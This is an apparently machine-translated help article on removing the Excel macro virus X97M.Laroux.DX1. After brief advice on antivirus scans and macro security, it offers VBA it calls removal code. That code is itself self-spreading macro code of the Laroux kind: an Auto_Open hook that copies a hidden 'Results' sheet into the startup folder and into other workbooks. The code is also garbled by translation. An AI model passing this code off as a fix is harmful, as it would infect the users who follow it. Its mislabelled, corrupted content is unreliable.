Solutions to Macro-toxicity X97M.Laroux.DX1 in Excel

Source: Internet
Author: User
Tags safe mode

In general, Excel is not easy to poison, to be poisoned, it will be the poison of macro code.

If you have X97M.Laroux.DX1 poison in Excel, please use the following method to resolve it.

I. Conventional methods

Use antivirus software to scan the overall file, then, enter Safe mode and then delete the corresponding file.

Second, the use of Excel to solve

① prohibit macros from running

Set the security level of Excel to the highest, so that x97m. LAROUX.DX1 macros will not run. Then, open Excel and delete the macro.

Delete method is: tool → macro → macro → delete.

② use macro code to remove this poison

The macro code to delete the X97M.LAROUX.DX1 macro is as follows:

Sub Auto_Open ()

Application.onsheetactivate = "Ck_files"

End Sub

Sub Ck_files ()

c $ = Application.startuppath

m$ = Dir (C $ & "&" RESULTS.) XLS ")

If m$ = "RESULTS." XLS "Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

Whichfile = p + W * 10

Select Case Whichfile

Case 10

application.screenupdating = False

n4$ = Activeworkbook.name

Sheets ("Results"). Visible = True

Sheets ("Results"). Select

Sheets ("Results"). Copy

With ActiveWorkbook

. Title = ""

. Subject = ""

. Author = ""

. Keywords = ""

. Comments = ""

End With

newname$ = Activeworkbook.name

c4$ = CurDir ()

ChDir Application.startuppath

Activewindow.visible = False

Workbooks (newname$). SaveAs Filename:=application.startuppath & "&" RESULTS. XLS ", Fileformat:=xlnormal _

, password:= "", writerespassword:= "", readonlyrecommended:= _

False, Createbackup:=false

ChDir c4$

Workbooks (n4$). Sheets ("Results"). Visible = False

Application.onsheetactivate = ""

application.screenupdating = True

Application.onsheetactivate = "RESULTS." Xls!ck_files "

Case 1

application.screenupdating = False

n4$ = Activeworkbook.name

p4$ = Activeworkbook.path

s$ = Workbooks (n4$). Sheets (1). Name

If s$ <> "Results" Then

Workbooks ("RESULTS.") XLS "). Sheets ("Results"). Copy before:=workbooks (n4$). Sheets (1)

Workbooks (n4$). Sheets ("Results"). Visible = False

Else

End If

Application.onsheetactivate = ""

application.screenupdating = True

Application.onsheetactivate = "RESULTS." Xls!ck_files "

Case Else

End Select

End Sub

Related Article

E-Commerce Solutions

Leverage the same tools powering the Alibaba Ecosystem

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.